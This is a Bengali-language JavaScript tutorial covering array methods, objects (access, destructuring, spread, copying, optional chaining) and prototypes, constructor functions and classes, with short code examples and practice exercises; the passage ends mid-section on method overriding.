let fruits = ["Apple", "Banana", "Mango"]; for (let value of fruits.values()) { console.log(value); }
Apple Banana Mango
push() pop() shift() unshift() splice()
includes() indexOf() lastIndexOf() find() findIndex()
map() flatMap()
filter() some() every()
reduce()
slice() concat()
sort() reverse()
join() flat()
| Method | কাজ | Original Array পরিবর্তন? |
|---|---|---|
push() | শেষে যোগ | ✅ |
pop() | শেষে remove | ✅ |
shift() | শুরু থেকে remove | ✅ |
unshift() | শুরুতে যোগ | ✅ |
splice() | add/remove/replace | ✅ |
slice() | অংশ copy | ❌ |
map() | transform | ❌ |
filter() | filter | ❌ |
find() | প্রথম match | ❌ |
findIndex() | প্রথম match-এর index | ❌ |
some() | অন্তত একটি match | ❌ |
every() | সব match | ❌ |
reduce() | single result | ❌ |
includes() | value আছে কিনা | ❌ |
indexOf() | index খোঁজা | ❌ |
join() | Array → String | ❌ |
concat() | Array combine | ❌ |
reverse() | reverse | ✅ |
sort() | sort | ✅ |
fill() | value fill | ✅ |
flat() | nested flatten | ❌ |
এখন Array-এর অনেক concept একসাথে ব্যবহার করি।
let cart = [ { name: "Laptop", price: 70000 }, { name: "Mouse", price: 1000 }, { name: "Keyboard", price: 3000 } ]; console.log("Products:"); cart.forEach(product => { console.log(product.name); }); let total = cart.reduce((sum, product) => { return sum + product.price; }, 0); console.log("Total:", total);
Products: Laptop Mouse Keyboard Total: 74000
এখানে আমরা ব্যবহার করেছি:
Array Object forEach() reduce()
এই pattern বাস্তব e-commerce application-এ খুব common।
let marks = [80, 75, 90, 65, 88]; let total = marks.reduce((sum, mark) => sum + mark, 0); let average = total / marks.length; let passed = marks.filter(mark => mark >= 40); console.log("Total:", total); console.log("Average:", average); console.log("Passed:", passed);
Total: 398 Average: 79.6 Passed: [80, 75, 90, 65, 88]
let products = [ "HP Laptop", "Dell Laptop", "Logitech Mouse", "Mechanical Keyboard" ]; let search = "laptop"; let result = products.filter(product => product.toLowerCase().includes(search.toLowerCase()) ); console.log(result);
[
"HP Laptop",
"Dell Laptop"
]
এটি basic product search-এর ধারণা।
তোমাকে এগুলো অবশ্যই ভালোভাবে আয়ত্ত করতে হবে:
1. Array কী 2. Array Index 3. length 4. Accessing elements 5. Updating elements 6. push() 7. pop() 8. shift() 9. unshift() 10. for loop 11. for...of 12. forEach() 13. includes() 14. indexOf() 15. slice() 16. splice() 17. join() 18. reverse() 19. sort() 20. map() 21. filter() 22. find() 23. findIndex() 24. some() 25. every() 26. reduce() 27. Array Destructuring 28. Spread Operator 29. Nested Arrays 30. Array of Objects 31. Array Reference 32. Array Copy 33. concat() 34. flat() 35. flatMap() 36. Array.from() 37. Array.of() 38. fill() 39. entries() 40. keys() 41. values() 42. Array.isArray()
let fruits = ["Apple", "Banana", "Mango"];
এগুলো বের করো:
Apple Mango 3
let skills = ["HTML", "CSS"];
JavaScript এবং React যোগ করো।
তারপর শেষের element remove করো।
let skills = ["HTML", "CSS", "JavaScript", "React"];
Check করো:
let numbers = [10, 15, 20, 25, 30, 35];
শুধু even numbers বের করো।
Expected:
[10, 20, 30]
let numbers = [1, 2, 3, 4, 5];
প্রতিটি number-এর double বের করো।
Expected:
[2, 4, 6, 8, 10]
let prices = [100, 200, 300, 400];
Total বের করো।
Expected:
1000
let numbers = [10, 25, 40, 55, 70];
50-এর বেশি প্রথম number বের করো।
Expected:
55
let numbers = [50, 10, 80, 20, 30];
Ascending:
[10, 20, 30, 50, 80]
Descending:
[80, 50, 30, 20, 10]
let student = ["Shariar", 23, "CSE"];
Destructuring করে:
name age department
আলাদা variable বানাও।
let cart = [ { name: "Laptop", price: 70000 }, { name: "Mouse", price: 1000 }, { name: "Keyboard", price: 3000 }, { name: "Monitor", price: 15000 } ];
এমন program তৈরি করো যা:
5000 টাকার বেশি product বের করবেএক কথায়:
let fruits = ["Apple", "Banana", "Mango"];
তারপর:
fruits.push("Orange"); // Add
fruits.pop(); // Remove last
fruits.unshift("Orange"); // Add first
fruits.shift(); // Remove first
Search:
fruits.includes("Apple");
fruits.indexOf("Apple");
Extract:
fruits.slice(0, 2);
Modify:
fruits.splice(1, 1);
Transform:
fruits.map(...);
Filter:
fruits.filter(...);
Find:
fruits.find(...);
Calculate:
numbers.reduce(...);
Loop:
fruits.forEach(...);
Combine:
[...array1, ...array2];
Destructure:
let [a, b, c] = array;
যদি এখনই সব method মুখস্থ না হয়, অন্তত এগুলো শক্ত করো:
1. push() 2. pop() 3. slice() 4. splice() 5. forEach() 6. map() 7. filter() 8. reduce()
এরপর Chapter 10 — Objects-এ আমরা JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ data structure-এর আরেকটি অংশ শিখব: Object, Properties, Methods, Nested Objects, Object Access, Add/Update/Delete, this, Object Destructuring, Spread, Object.keys(), Object.values(), Object.entries(), Optional Chaining, Object References, Shallow Copy, এবং Array of Objects।
JavaScript শেখার সময় Objects একটি অত্যন্ত গুরুত্বপূর্ণ topic। তুমি যেহেতু পরে React + Node.js + API + MongoDB নিয়ে কাজ করবে, তাই Object ভালোভাবে বোঝা খুব জরুরি।
সহজভাবে:
একজন Student-এর তথ্য:
JavaScript:
let student = { name: "Shariar", age: 23, department: "CSE", university: "DIU" };
এখানে:
let user = { name: "Shariar", age: 23, city: "Dhaka" };
Object-এর structure:
{
key: value,
key: value,
key: value
}
Object-এর ভিতরের key-value pair-কে সাধারণত Property বলা হয়।
let user = { name: "Shariar", age: 23 };
এখানে:
Object-এর property access করার দুটি প্রধান উপায় আছে:
let user = { name: "Shariar", age: 23 }; console.log(user.name); console.log(user.age);
Shariar 23
Syntax:
object.property
let user = { name: "Shariar", age: 23 }; console.log(user["name"]); console.log(user["age"]);
Shariar 23
| Dot Notation | Bracket Notation |
|---|---|
user.name | user["name"] |
| Simple | Dynamic access-এর জন্য useful |
| Property name সরাসরি লিখতে হয় | String/expression ব্যবহার করা যায় |
ধরো:
let user = { name: "Shariar", age: 23 }; let property = "name"; console.log(user[property]);
Shariar
এখানে:
user[property]
মানে:
user["name"]
let property = "name"; console.log(user.property);
এটি খুঁজবে:
name নয়।
তাই dynamic property হলে:
user[property]
ব্যবহার করতে হবে।
Object তৈরি করার পর নতুন property যোগ করা যায়।
let user = { name: "Shariar" }; user.age = 23; console.log(user);
{
name: "Shariar",
age: 23
}
let user = { name: "Shariar" }; user["city"] = "Dhaka"; console.log(user);
{
name: "Shariar",
city: "Dhaka"
}
let user = { name: "Shariar", age: 23 }; user.age = 24; console.log(user.age);
24
let user = { name: "Shariar", age: 23, city: "Dhaka" }; delete user.city; console.log(user);
{
name: "Shariar",
age: 23
}
in operator:
let user = { name: "Shariar", age: 23 }; console.log("name" in user); console.log("email" in user);
true false
hasOwnProperty()let user = { name: "Shariar", age: 23 }; console.log(user.hasOwnProperty("name")); console.log(user.hasOwnProperty("email"));
true false
Modern code-এ আরও robust approach হিসেবে Object.hasOwn()-ও আছে:
console.log(Object.hasOwn(user, "name"));
Object property-এর value যেকোনো valid JavaScript value হতে পারে।
let user = { name: "Shariar", age: 23, isStudent: true, skills: ["HTML", "CSS", "JavaScript"], address: null }; console.log(user);
এখানে:
String Number Boolean Array null
সবই আছে।
এটাকে Nested Object বলে।
let user = { name: "Shariar", address: { city: "Dhaka", country: "Bangladesh" } }; console.log(user.address.city);
Dhaka
let student = { name: "Shariar", university: { name: "Daffodil International University", department: "CSE" } }; console.log(student.university.name); console.log(student.university.department);
Daffodil International University CSE
let user = { name: "Shariar", skills: ["HTML", "CSS", "JavaScript", "React"] }; console.log(user.skills[0]); console.log(user.skills[3]);
HTML React
এটি real-world JavaScript-এ খুব common।
let users = [ { name: "Shariar", age: 23 }, { name: "Rahim", age: 22 } ]; console.log(users[0].name);
Shariar
API response-এ তুমি এই ধরনের structure অনেক দেখতে পাবে।
Object-এর property-এর value যদি function হয়, সেটিকে সাধারণত Method বলা হয়।
let user = { name: "Shariar", sayHello: function () { console.log("Hello!"); } }; user.sayHello();
Hello!
Modern JavaScript:
let user = { name: "Shariar", sayHello() { console.log("Hello!"); } }; user.sayHello();
এটি cleaner syntax।
this 🔥🔥let user = { name: "Shariar", introduce() { console.log(`My name is ${this.name}`); } }; user.introduce();
My name is Shariar
এখানে:
this.name
মানে:
name property।this সহজভাবেlet user = { name: "Ripon", showName() { console.log(this.name); } };
যখন:
user.showName();
তখন:
তাই:
this.name
হয়:
user.name
this এবং Arrow FunctionObject method-এ arrow function ব্যবহার করলে this সাধারণত object-কে refer করে না।
❌ এই pattern এড়িয়ে চলো:
let user = { name: "Shariar", sayHello: () => { console.log(this.name); } }; user.sayHello();
এখানে this lexical context থেকে আসে।
Object method-এর জন্য সাধারণত:
sayHello() {
console.log(this.name);
}
ব্যবহার করা সহজ ও সঠিক।
যদি variable এবং property-এর নাম একই হয়:
let name = "Shariar"; let age = 23; let user = { name, age }; console.log(user);
{
name: "Shariar",
age: 23
}
আগে লিখতে হতো:
let user = {
name: name,
age: age
};
Modern JavaScript-এ shorthand ব্যবহার করা যায়।
Property name dynamically তৈরি করা যায়।
let key = "username"; let user = { [key]: "Shariar" }; console.log(user);
Object-এর সব property name-এর Array:
let user = { name: "Shariar", age: 23, city: "Dhaka" }; console.log(Object.keys(user));
["name", "age", "city"]
সব value:
console.log(Object.values(user));
["Shariar", 23, "Dhaka"]
Key + value pair:
console.log(Object.entries(user));
[
["name", "Shariar"],
["age", 23],
["city", "Dhaka"]
]
for...inlet user = { name: "Shariar", age: 23, city: "Dhaka" }; for (let key in user) { console.log(key, user[key]); }
name Shariar age 23 city Dhaka
Object.entries() + for...offor (let [key, value] of Object.entries(user)) { console.log(key, value); }
name Shariar age 23 city Dhaka
Object থেকে property সরাসরি variable-এ নেওয়া যায়।
let user = { name: "Shariar", age: 23 }; let { name, age } = user; console.log(name); console.log(age);
Shariar 23
let user = { name: "Shariar", age: 23 }; let { name: userName, age: userAge } = user; console.log(userName); console.log(userAge);
Shariar 23
let user = { name: "Shariar" }; let { name, age = 23 } = user; console.log(name); console.log(age);
Shariar 23
let user = { name: "Shariar", address: { city: "Dhaka", country: "Bangladesh" } }; let { address: { city, country } } = user; console.log(city); console.log(country);
Dhaka Bangladesh
Object-এর কিছু property আলাদা করে বাকি property নিতে:
let user = { name: "Shariar", age: 23, city: "Dhaka", country: "Bangladesh" }; let { name, ...others } = user; console.log(name); console.log(others);
Shariar
{
age: 23,
city: "Dhaka",
country: "Bangladesh"
}
Object copy:
let user = { name: "Shariar", age: 23 }; let copy = { ...user }; console.log(copy);
{
name: "Shariar",
age: 23
}
let personal = { name: "Shariar", age: 23 }; let professional = { role: "Web Developer", skill: "JavaScript" }; let profile = { ...personal, ...professional }; console.log(profile);
{
name: "Shariar",
age: 23,
role: "Web Developer",
skill: "JavaScript"
}
let user = { name: "Shariar", age: 23 }; let updatedUser = { ...user, age: 24 }; console.log(updatedUser);
{
name: "Shariar",
age: 24
}
শেষের property আগের value override করে।
let user1 = { name: "Shariar" }; let user2 = user1; user2.name = "Ripon"; console.log(user1.name);
Ripon
কারণ দুটো variable একই object reference করছে।
let user1 = { name: "Shariar" }; let user2 = { ...user1 }; user2.name = "Ripon"; console.log(user1.name); console.log(user2.name);
Shariar Ripon
Spread operator:
{ ...object }
একটি shallow copy তৈরি করে।
যদি nested object থাকে, তাহলে বিষয়টি একটু আলাদা।
let user1 = { name: "Shariar", address: { city: "Dhaka" } }; let user2 = { ...user1 }; user2.address.city = "Chittagong"; console.log(user1.address.city);
Chittagong
কারণ nested address object-এর reference একই থাকতে পারে।
Simple JSON-compatible data-এর জন্য:
let user1 = { name: "Shariar", address: { city: "Dhaka" } }; let user2 = JSON.parse(JSON.stringify(user1)); user2.address.city = "Chittagong"; console.log(user1.address.city); console.log(user2.address.city);
Dhaka Chittagong
তবে modern JavaScript-এ structured data-এর জন্য:
structuredClone()
আরও ভালো option হতে পারে।
let user2 = structuredClone(user1);
?.Nested property না থাকলে error এড়াতে:
let user = { name: "Shariar" }; console.log(user.address?.city);
undefined
Without optional chaining:
console.log(user.address.city);
এতে error হতে পারে কারণ address undefined।
let user = { name: "Shariar" }; let city = user.address?.city ?? "Unknown"; console.log(city);
Unknown
Object-এর property পরিবর্তন বন্ধ করতে:
let user = { name: "Shariar", age: 23 }; Object.freeze(user); user.age = 24; console.log(user.age);
Output সাধারণত:
23
Strict mode-এ illegal modification error-ও হতে পারে।
Object.isFrozen()console.log(Object.isFrozen(user));
true
seal() করলে:
let user = { name: "Shariar", age: 23 }; Object.seal(user); user.age = 24; delete user.name; console.log(user);
{
name: "Shariar",
age: 24
}
Object.isSealed()console.log(Object.isSealed(user));
true
একটি Object-এর properties অন্য Object-এ copy করা যায়।
let user = { name: "Shariar" }; let extra = { age: 23 }; Object.assign(user, extra); console.log(user);
{
name: "Shariar",
age: 23
}
Spread operator-এর কারণে modern JavaScript-এ অনেক ক্ষেত্রে:
let user = {
...user,
...extra
};
ধরনের approach বেশি দেখা যায়।
Prototype-based object তৈরি করতে:
let person = { greet() { console.log("Hello"); } }; let user = Object.create(person); user.greet();
Hello
এটি পরে Prototypes chapter-এ বিস্তারিত শিখব।
new Object() দিয়ে Object তৈরি করা যায়:
let user = new Object(); user.name = "Shariar"; user.age = 23; console.log(user);
তবে সাধারণ object literal:
let user = { name: "Shariar", age: 23 };
বেশি clean এবং common।
let data = { 1: "One", 2: "Two" }; console.log(data[1]);
One
Object keys internally সাধারণত String বা Symbol হিসেবে handled হয়।
let user = { "full name": "Shariar Ahamed" }; console.log(user["full name"]);
এখানে:
user.full name
লেখা যাবে না।
তাই bracket notation ব্যবহার করতে হবে।
let calculator = { add(a, b) { return a + b; }, subtract(a, b) { return a - b; } }; console.log(calculator.add(10, 5)); console.log(calculator.subtract(10, 5));
15 5
let user = { id: 101, name: "Shariar Ahamed Ripon", email: "ripon@example.com", age: 23, isStudent: true, skills: [ "HTML", "CSS", "JavaScript", "React" ], address: { city: "Dhaka", country: "Bangladesh" }, introduce() { console.log(`Hi, I am ${this.name}`); } }; console.log(user.name); console.log(user.skills[2]); console.log(user.address.city); user.introduce();
Shariar Ahamed Ripon JavaScript Dhaka Hi, I am Shariar Ahamed Ripon
এখানে একসাথে ব্যবহার হয়েছে:
Object Array Nested Object Method this Template Literal
Web development-এ তুমি প্রায়ই এমন data পাবে:
let response = { success: true, message: "User fetched successfully", data: { id: 101, name: "Shariar", email: "shariar@example.com" } }; console.log(response.data.name);
Shariar
React/Node.js-এ এই ধরনের nested object প্রচুর ব্যবহার হবে।
map()let users = [ { name: "Shariar", age: 23 }, { name: "Rahim", age: 22 }, { name: "Karim", age: 24 } ]; let names = users.map(user => user.name); console.log(names);
["Shariar", "Rahim", "Karim"]
এটি real-world frontend development-এর খুব common pattern।
filter()let users = [ { name: "Shariar", age: 23 }, { name: "Rahim", age: 17 }, { name: "Karim", age: 25 } ]; let adults = users.filter(user => user.age >= 18); console.log(adults);
[
{ name: "Shariar", age: 23 },
{ name: "Karim", age: 25 }
]
find()let users = [ { id: 1, name: "Shariar" }, { id: 2, name: "Rahim" }, { id: 3, name: "Karim" } ]; let user = users.find(user => user.id === 2); console.log(user);
{
id: 2,
name: "Rahim"
}
reduce()ধরো product list:
let products = [ { name: "Laptop", price: 70000 }, { name: "Mouse", price: 1000 }, { name: "Keyboard", price: 3000 } ]; let total = products.reduce((sum, product) => { return sum + product.price; }, 0); console.log(total);
74000
Object.keys() + map()let user = { name: "Shariar", age: 23, city: "Dhaka" }; let keys = Object.keys(user); let upperKeys = keys.map(key => key.toUpperCase()); console.log(upperKeys);
["NAME", "AGE", "CITY"]
| Method | কাজ |
|---|---|
Object.keys() | সব keys |
Object.values() | সব values |
Object.entries() | key-value pairs |
Object.assign() | Object copy/merge |
Object.freeze() | modification বন্ধ |
Object.seal() | add/delete বন্ধ |
Object.isFrozen() | frozen কিনা |
Object.isSealed() | sealed কিনা |
Object.hasOwn() | own property check |
Object.create() | prototype-based object |
Object.fromEntries() | entries → Object |
Object.fromEntries()Object.entries()-এর বিপরীত ধারণা।
let entries = [ ["name", "Shariar"], ["age", 23] ]; let user = Object.fromEntries(entries); console.log(user);
{
name: "Shariar",
age: 23
}
Modern JavaScript-এ property ordering-এর defined rules আছে, তবে সাধারণ application code-এ Object-কে ordered collection হিসেবে rely না করে data structure অনুযায়ী Array/Map ব্যবহার করা ভালো।
Map অনেক ক্ষেত্রে বেশি appropriate।Map আমরা পরের collection-related chapter-এ বিস্তারিত দেখব।
| Object | Map |
|---|---|
| সাধারণ data/entity-এর জন্য | Key-value collection-এর জন্য |
| String/Symbol keys | যেকোনো value key হতে পারে |
user.name | map.get(key) |
| JSON-এর সাথে natural | Iteration-friendly |
এখন শুধু ধারণাটা রাখো; পরে বিস্তারিত আসবে।
Real-world API data:
const user = { id: 101, profile: { name: "Shariar", contact: { email: "shariar@example.com" } } };
Access:
console.log(user.profile.name); console.log(user.profile.contact.email);
Optional chaining:
console.log(user.profile?.contact?.phone);
এটি undefined property-এর ক্ষেত্রে application crash হওয়ার ঝুঁকি কমাতে useful।
একটি Object এভাবে চিন্তা করো:
আর nested হলে:
1. Object কী 2. Property 3. Key / Value 4. Dot notation 5. Bracket notation 6. Dynamic property access 7. Add property 8. Update property 9. Delete property 10. in operator 11. Object.hasOwn() 12. Nested Object 13. Array inside Object 14. Object inside Array 15. Methods 16. this 17. Property shorthand 18. Computed properties 19. Object.keys() 20. Object.values() 21. Object.entries() 22. Object destructuring 23. Nested destructuring 24. Rest property 25. Spread operator 26. Object reference 27. Shallow copy 28. structuredClone() 29. Optional chaining 30. Nullish coalescing 31. Object.freeze() 32. Object.seal() 33. Object.assign() 34. Object.fromEntries() 35. Array of Objects 36. Object + map() 37. Object + filter() 38. Object + find() 39. Object + reduce()
এই Object তৈরি করো:
Name: Shariar Age: 23 Department: CSE University: DIU
তারপর প্রতিটি property console-এ দেখাও।
let user = { name: "Shariar", age: 23 };
age → 24 করো।
একই Object-এ:
city: Dhaka
যোগ করো।
city property delete করো।
এই structure তৈরি করো:
তারপর city console-এ দেখাও।
let students = [ { name: "Shariar", marks: 90 }, { name: "Rahim", marks: 75 }, { name: "Karim", marks: 85 } ];
শুধু student-এর names বের করো।
Expected:
["Shariar", "Rahim", "Karim"]
উপরের data থেকে যাদের marks 80 বা তার বেশি তাদের বের করো।
Expected:
Shariar Karim
marks 80-এর বেশি এমন প্রথম student বের করো।
let user = { name: "Shariar", age: 23, city: "Dhaka" };
Destructuring করে তিনটি variable তৈরি করো:
name age city
let products = [ { name: "Laptop", price: 70000, category: "Computer" }, { name: "Mouse", price: 1000, category: "Accessories" }, { name: "Keyboard", price: 3000, category: "Accessories" }, { name: "Monitor", price: 15000, category: "Computer" } ];
এমন code লেখো যা:
5000-এর বেশি price-এর product বের করবে"Computer" category-এর product বের করবেlet user = { name: "Shariar", age: 23 };
Access:
user.name; user["name"];
Update:
user.age = 24;
Add:
user.city = "Dhaka";
Delete:
delete user.city;
Methods:
user.sayHello();
this:
this.name;
Keys/values:
Object.keys(user); Object.values(user); Object.entries(user);
Destructuring:
const { name, age } = user;
Spread:
const copy = { ...user };
Optional chaining:
user.address?.city;
1. Object = key-value structure 2. Dot notation 3. Bracket notation 4. Nested Object 5. Array of Objects 6. Object Methods 7. this 8. Object Destructuring 9. Object.keys / values / entries 10. Spread + Reference + Shallow Copy
Chapter 9-এর Array + Chapter 10-এর Object—এই দুইটা একসাথে ভালোভাবে বুঝে ফেললে JavaScript-এর real-world data handling অনেক পরিষ্কার হয়ে যাবে। পরের অধ্যায়ে আমরা Advanced Objects, Prototypes & Prototype Chain-এর দিকে যাব, যেখানে JavaScript-এর ভিতরের object system কীভাবে কাজ করে সেটা বুঝব।
Chapter 10-এ আমরা Object-এর basic থেকে advanced অনেক কিছু শিখেছি। এবার JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ Object-related advanced concept-গুলোর একটি শিখব:
new → Object.create() → Inheritanceএগুলো ভালোভাবে বুঝলে পরে Class, OOP, Inheritance, React/Node.js-এর অনেক concept বুঝতে সহজ হবে।
JavaScript-এর প্রতিটি সাধারণ object-এর পেছনে একটি prototype object থাকতে পারে।
সহজভাবে:
ধরো, একটি বিশ্ববিদ্যালয়ের অনেক Student আছে।
প্রত্যেক Student-এর নিজের:
name id department
আছে।
কিন্তু সবাই একই ধরনের কিছু কাজ করতে পারে:
study() attendClass() takeExam()
প্রত্যেক Student object-এর মধ্যে আলাদাভাবে study() লিখে না রেখে একটি common জায়গায় রাখা যায়।
সেই common জায়গাটা prototype-এর মতো।
JavaScript-এ:
const user = { name: "Ripon" }; console.log(Object.getPrototypeOf(user));
{ ... }
এটি user object-এর prototype দেখাবে।
আরেকটি common syntax:
console.log(user.__proto__);
তবে __proto__ legacy/accessor হিসেবে পরিচিত। শেখার সময় দেখতে পারো, কিন্তু code-এ prototype নিয়ে কাজ করার জন্য সাধারণত:
Object.getPrototypeOf()
এবং
Object.setPrototypeOf()
ব্যবহার করা ভালো।
যখন JavaScript কোনো object-এর মধ্যে কোনো property বা method খুঁজে পায় না, তখন সে তার prototype-এর মধ্যে খোঁজে।
সেখানেও না পেলে prototype-এর prototype-এ খোঁজে।
এভাবে চলতে থাকে।
এটিই:
const user = { name: "Ripon" }; console.log(user.toString());
আমরা user object-এর মধ্যে নিজেরা toString() লিখিনি।
তবুও কাজ করছে।
কেন?
কারণ JavaScript roughly এভাবে খুঁজছে:
user-এ toString() নেই।
তাই:
এ গিয়ে toString() পেয়ে যায়।
এখানে:
Object.getPrototypeOf(user)
দিলে Object.prototype পাওয়া যাবে।
আর:
Object.getPrototypeOf(Object.prototype)
দিলে:
null
Object.prototypeObject.prototype
এখানে অনেক common method রয়েছে।
যেমন:
toString() hasOwnProperty() isPrototypeOf() propertyIsEnumerable()
তাই অনেক object সরাসরি এগুলো ব্যবহার করতে পারে।
const user = { name: "Ripon" }; console.log(user.hasOwnProperty("name"));
true
user object-এর নিজের property হলো:
name
কিন্তু hasOwnProperty() object-এর নিজের property হিসেবে লিখিনি।
এটি prototype chain থেকে পাওয়া।
ধরো:
const user = { name: "Ripon" }; console.log(user.age);
JavaScript প্রথমে দেখবে:
user.age
আছে?
না।
তারপর:
prototype-এ age আছে?
না।
তারপর prototype-এর prototype...
শেষে:
null
এ পৌঁছাবে।
তখন result:
undefined
const user = { name: "Ripon" }; console.log(user.age);
undefined
একটি property object-এর নিজের হতে পারে অথবা prototype থেকে inherited হতে পারে।
const user = { name: "Ripon" }; console.log(user.name); console.log(user.toString);
এখানে:
name
নিজের property।
কিন্তু:
toString
prototype থেকে এসেছে।
hasOwnProperty()কোনো property object-এর নিজের property কিনা দেখতে:
const user = { name: "Ripon" }; console.log(user.hasOwnProperty("name")); console.log(user.hasOwnProperty("toString"));
true false
কারণ:
in Operator বনাম hasOwnProperty()inPrototype-এর property-ও খুঁজবে।
const user = { name: "Ripon" }; console.log("name" in user); console.log("toString" in user);
true true
কারণ toString() prototype থেকে পাওয়া যায়।
hasOwnProperty()শুধু নিজের property check করবে।
console.log(user.hasOwnProperty("name")); console.log(user.hasOwnProperty("toString"));
true false
| Method | Own Property | Prototype Property |
|---|---|---|
in | ✅ | ✅ |
hasOwnProperty() | ✅ | ❌ |
Object.getPrototypeOf()কোনো object-এর prototype দেখতে:
const user = { name: "Ripon" }; console.log(Object.getPrototypeOf(user));
সাধারণ object-এর ক্ষেত্রে সাধারণত:
পাওয়া যাবে।
Object.setPrototypeOf()একটি object-এর prototype পরিবর্তন করা যায়:
const person = { greet() { console.log("Hello!"); } }; const user = { name: "Ripon" }; Object.setPrototypeOf(user, person); user.greet();
Hello!
কারণ user-এর নিজের মধ্যে greet() নেই।
কিন্তু prototype:
হওয়ায় সে greet() পেয়েছে।
এখন আসল বিষয়।
ধরো:
const person = { greet() { console.log("Hello!"); } }; const student = Object.create(person); student.name = "Ripon"; student.greet();
Hello!
এখানে:
এটাই prototype-based inheritance।
Object.create()Object.create() দিয়ে নির্দিষ্ট prototype ব্যবহার করে নতুন object তৈরি করা যায়।
Object.create(prototype);
const animal = { eat() { console.log("Animal is eating"); } }; const dog = Object.create(animal); dog.name = "Tommy"; console.log(dog.name); dog.eat();
Tommy Animal is eating
dog-এর নিজের property:
name
আর inherited method:
eat()
const university = { attendClass() { console.log("Attending university class"); } }; const student = Object.create(university); student.name = "Ripon"; student.department = "CSE"; console.log(student.name); console.log(student.department); student.attendClass();
Ripon CSE Attending university class
এখানে:
Class আসার আগে JavaScript-এ object তৈরির জন্য খুব common technique ছিল:
function Student(name, department) { this.name = name; this.department = department; }
এটি একটি constructor function হিসেবে ব্যবহার করা যাবে।
new KeywordConstructor function-এর সাথে সাধারণত:
new
ব্যবহার করা হয়।
function Student(name, department) { this.name = name; this.department = department; } const student1 = new Student("Ripon", "CSE"); console.log(student1);
new কী করে?new keyword-এর কাজ বোঝা খুব গুরুত্বপূর্ণ।যখন লিখি:
const student1 = new Student("Ripon", "CSE");
Conceptually JavaScript roughly:
নতুন empty object তৈরি করে।
{}
নতুন object-এর prototype সেট করে:
this নতুন object-কে refer করে।
this.name = "Ripon";
Constructor-এর মাধ্যমে object initialize করে।
নতুন object return করে।
Conceptually:
এভাবে করলে:
function Student(name) { this.name = name; this.study = function() { console.log(this.name + " is studying"); }; }
প্রতিটি student object-এর জন্য নতুন study() function তৈরি হবে।
যদি হাজার হাজার object থাকে, unnecessary duplication হতে পারে।
তার বদলে prototype ব্যবহার করা যায়।
Constructor.prototypeপ্রতিটি normal constructor function-এর একটি:
prototype
property থাকে।
Example:
function Student(name) { this.name = name; } console.log(Student.prototype);
function Student(name) { this.name = name; } Student.prototype.study = function() { console.log(this.name + " is studying"); }; const student1 = new Student("Ripon"); const student2 = new Student("Rahim"); student1.study(); student2.study();
Ripon is studying Rahim is studying
এখানে study() দুই object-এর মধ্যে duplicate হয়ে তৈরি হয়নি।
দুইজনই ব্যবহার করছে:
ধরো:
const student1 = new Student("Ripon"); const student2 = new Student("Rahim"); const student3 = new Student("Karim");
যদি method constructor-এর ভিতরে থাকে:
this.study = function() {}
তাহলে প্রতিটি instance-এর জন্য আলাদা function তৈরি হতে পারে।
কিন্তু prototype-এ:
Student.prototype.study = function() {}
একটি shared method ব্যবহার করা হয়।
Conceptually:
ধরো:
function Student(name) { this.name = name; } Student.prototype.study = function() { console.log("Studying..."); }; const student = new Student("Ripon");
তাহলে:
constructor PropertyStudent.prototype-এর মধ্যে সাধারণত একটি:
constructor
property থাকে।
function Student(name) { this.name = name; } console.log(Student.prototype.constructor === Student);
true
অর্থাৎ:
মূল constructor function-কে refer করে।
instanceofকোনো object কোনো constructor-এর instance কিনা দেখতে:
instanceof
ব্যবহার করা হয়।
function Student(name) { this.name = name; } const student = new Student("Ripon"); console.log(student instanceof Student);
true
console.log(student instanceof Object);
true
কারণ:
তাই Object-এর prototype chain-এর অংশ।
instanceof কীভাবে কাজ করে?ধরো:
student instanceof Student
JavaScript দেখে:
prototype chain-এর মধ্যে আছে কি না।
যদি থাকে:
true
না থাকলে:
false
function Person(name) { this.name = name; } Person.prototype.sayHello = function() { console.log("Hello, I am " + this.name); }; function Student(name, department) { Person.call(this, name); this.department = department; } Student.prototype = Object.create(Person.prototype); Student.prototype.constructor = Student; Student.prototype.study = function() { console.log(this.name + " is studying " + this.department); }; const student = new Student("Ripon", "CSE"); student.sayHello(); student.study();
Hello, I am Ripon Ripon is studying CSE
এখানে:
এটাই prototype-based inheritance-এর একটি traditional pattern।
Person.call(this, name) কী?এই line:
Person.call(this, name);
Person constructor-কে current this context দিয়ে call করছে।
Person-এর মধ্যে:
this.name = name;
ছিল।
তাই Student-এর object-এর মধ্যেও:
name
set হচ্ছে।
Object.create(Person.prototype) কেন?এই line:
Student.prototype = Object.create(Person.prototype);
এর মাধ্যমে বলা হচ্ছে:
অর্থাৎ:
constructor আবার সেট করা হয়?এই line:
Student.prototype.constructor = Student;
কারণ:
Student.prototype = Object.create(Person.prototype);
করার পর constructor reference বদলে যেতে পারে।
তাই explicitly:
Student.prototype.constructor = Student;
দেওয়া হয়।
classবর্তমানে JavaScript-এ সাধারণত:
class
ব্যবহার করা হয়।
class internally prototype-based system-এর উপর কাজ করে।class Student { constructor(name, department) { this.name = name; this.department = department; } study() { console.log(this.name + " is studying"); } } const student = new Student("Ripon", "CSE"); student.study();
Ripon is studying
এই:
study() {
console.log("Studying");
}
method সাধারণত প্রতিটি instance-এর নিজের property হিসেবে duplicate হয়ে থাকে না।
এটি:
এর মাধ্যমে shared থাকে।
তাই:
console.log( Object.getPrototypeOf(student) === Student.prototype );
true
class Student { study() { console.log("Studying"); } }
Conceptually:
যখন:
student.study();
চালানো হয়, JavaScript prototype chain-এর মাধ্যমে study() খুঁজে পায়।
extendsModern JavaScript-এ inheritance সহজভাবে:
extends
দিয়ে করা যায়।
class Person { constructor(name) { this.name = name; } sayHello() { console.log("Hello, I am " + this.name); } } class Student extends Person { study() { console.log(this.name + " is studying"); } } const student = new Student("Ripon"); student.sayHello(); student.study();
Hello, I am Ripon Ripon is studying
তাই student:
student.study();
পায় Student.prototype থেকে।
আর:
student.sayHello();
পায় Person.prototype থেকে।
superParent class-এর constructor বা method ব্যবহার করতে:
super
ব্যবহার করা হয়।
class Person { constructor(name) { this.name = name; } introduce() { console.log("My name is " + this.name); } } class Student extends Person { constructor(name, department) { super(name); this.department = department; } study() { console.log(this.name + " is studying " + this.department); } } const student = new Student("Ripon", "CSE"); student.introduce(); student.study();
My name is Ripon Ripon is studying CSE
super() কী করে?Parent class:
Person
এর constructor:
constructor(name) {
this.name = name;
}
কে call করছে:
super(name);
অর্থাৎ:
Child class parent-এর একই method নিজের মতো করে লিখতে পারে।
